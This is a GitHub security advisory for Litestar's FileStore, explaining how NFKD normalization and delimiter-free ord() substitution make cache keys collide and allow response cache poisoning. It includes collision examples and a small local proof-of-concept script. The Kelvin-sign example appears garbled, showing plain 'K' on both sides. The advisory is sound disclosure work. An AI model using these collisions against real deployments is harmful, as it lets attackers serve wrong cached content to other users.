GHSA-vxqx-rh46-q2pg Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)

• PyPI litestar: >= 2.19.0, < 2.20.0 → fixed in 2.20.0

Summary FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup) Details litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter). This transformation is not injective, e.g.: • "k-" and "k45" both become "k45" (because - ord('-') == 45) • "k/\n" becomes "k4710", colliding with "k4710" • "K" (Kelvin sign) normalizes to "K", colliding with "K" When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled. PoC ``` import asyncio, tempfile from litestar.stores.file import FileStore async def main(): d = tempfile.mkdtemp(prefix="ls_filestore_poc_") store = FileStore(d, create_directories=True) await store.__aenter__() # 1) ASCII ord-collision: "-" -> 45 await store.set("k-", b"A") v = await store.get("k45") print("k- ->", v) print("k45 ->", await store.get("k45")) if v == b"A": print("VULNERABLE: 'k-' collides with 'k45'") # 2) NFKD collision: Kelvin sign -> K await store.set("K", b"B") # U+212A v2 = await store.get("K") print("K ->", await store.get("K")) print("K ->", v2) if v2 == b"B": print("VULNERABLE: 'K' collides with 'K' (NFKD)") if __name__ == "__main__": asyncio.run(main()) ``` Impact Vulnerability type: cache poisoning / cache key collision. Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore). Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.